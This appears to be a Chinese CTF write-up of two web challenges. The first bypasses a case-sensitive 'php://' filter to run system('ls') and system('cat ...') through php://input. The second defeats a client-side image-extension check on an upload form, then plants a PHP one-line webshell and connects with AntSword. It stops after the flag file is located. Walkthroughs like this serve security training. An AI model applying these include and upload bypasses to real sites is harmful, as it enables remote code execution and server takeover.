web php include
1.审计代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
用get方式输入page
strstr(string,search,before_search)
strstr() 函数搜索字符串在另一字符串中的第一次出现。
str_replace(find,replace,string,count)
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)
所以这里是对$page的值进行判断,如果存在php://,则消去
2.利用漏洞
因为str_replace()函数是区分大小写的,所以我们在输入php://的时候,可以转换为大写从而绕过
构建$page=php://input,在bp中抓包
<?php
system("ls");
?>
可以显示所有的文件
3.获取flag
看到有很可疑的文件
<?php
system("cat fl4gisisish3r3.php");
?>
就可以查看这个文件得到flag
uploade1
1.上传文件
随便上传一个文件,有bp抓包,查看返回结果
是一串js代码
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
ext = name.replace(/^.+./,’’)删除文件的名称
if([‘jpg’,‘png’].contains(ext)):检查后缀是否为jpg/png,如果不是就禁用按钮并弹窗报错
因为过滤是在前端,所以可以通过bp来修改后缀名
2.上传一句话代码
POST /index.php HTTP/1.1
Host: 111.198.29.45:31073
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://111.198.29.45:31073/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------313451057620810
Content-Length: 221
-----------------------------313451057620810
Content-Disposition: form-data; name="upfile"; filename="php.php"
Content-Type: image/jpeg
将文件名后缀改为.php
然后构造一句话木马就行了
3.用antsword连接
在文件中发现有flag.php,